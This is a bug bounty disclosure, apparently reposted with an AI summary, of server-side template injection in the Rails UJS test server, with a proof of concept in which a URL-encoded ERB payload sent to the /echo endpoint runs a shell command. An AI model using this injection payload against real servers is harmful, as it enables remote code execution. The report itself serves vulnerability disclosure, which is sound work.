Server-side template injection at ujs test server
The test server for Rails UJS renders user-supplied content as an inline ERB template, allowing an attacker to execute arbitrary Ruby code on the server. An attacker could send a crafted GET request to the /echo endpoint to run commands on the host.
- Triaged in 11 days
- Fixed in 5 months
- Disclosed after 7 months
I have found in the server code for testing ujs in Rails that template injection is possible and that leads to rce.
code
https://github.com/rails/rails/blob/v6.0.3.2/actionview/test/ujs/server.rb
module UJS
class Server < Rails::Application
routes.append do
get "/rails-ujs.js" => Blade::Assets.environment
get "/" => "tests#index"
match "/echo" => "tests#echo", via: :all
get "/error" => proc { |env| [403, {}, []] }
end
...
class TestsController < ActionController::Base
helper TestsHelper
layout "application"
def index
render :index
end
def echo
data = { params: params.to_unsafe_h }.update(request.env)
if params[:content_type] && params[:content]
render inline: params[:content], content_type: params[:content_type]
render inline: params[:content] receives the request value directly and can be executed as ERB code as it is, so it becomes template injection. (https://guides.rubyonrails.org/layouts_and_rendering.)html#using-render-with-inline
PoC
Prepare Server.
❯ git clone https://github.com/rails/rails.git
❯ cd rails/actionview
❯ git rev-parse HEAD
0fb6993f48bb01a960316027675f3f496baa2088
❯ bundle install
...
❯ rake ujs:server
Puma starting in single mode...
* Version 4.3.1 (ruby 2.7.1-p83), codename: Mysterious Traveller
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://127.0.0.1:4567
* Listening on tcp://[::1]:4567
Use Ctrl-C to stop
Prepare Attack code.
encodeURIComponent("<% `touch me` %>")
> "%3C%25%20%60touch%20me%60%20%25%3E"
Open url
http://localhost:4567/echo?content_type=test&content=%3C%25%20%60touch%20me%60%20%25%3E
Access url with browser or curl
❯ ls me
me
Impact
Since the attack code can be sent as a GET request, an attacker can attack a device running a test server for ujs from the external network by inducing a trap site. However, since this is a server used for testing rails development, it does not seem to have a significant impact on users.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application passes user-controlled input directly to a template rendering function (render inline) without sanitisation, allowing server-side template injection.
Impact
An attacker could execute arbitrary commands on a device running the test server, but the impact is limited because it is a development test server.
What the attacker needed
Access to a running ujs test server
How it was found
- Clone the Rails repository and check out the specified commit.
- Install dependencies with bundle install.
- Start the UJS test server with rake ujs:server.
- Craft a URL-encoded payload that contains ERB code to execute a command.
- Send a GET request to the /echo endpoint with the payload in the content parameter.
- Observe that the command has been executed (e.g., a file named 'me' is created).
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a test server that comes with a web framework. It takes text from a web request and treats it as a template, which is like a recipe the server follows. Because the recipe can contain instructions to run system commands, an attacker can make the server do things like create files.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.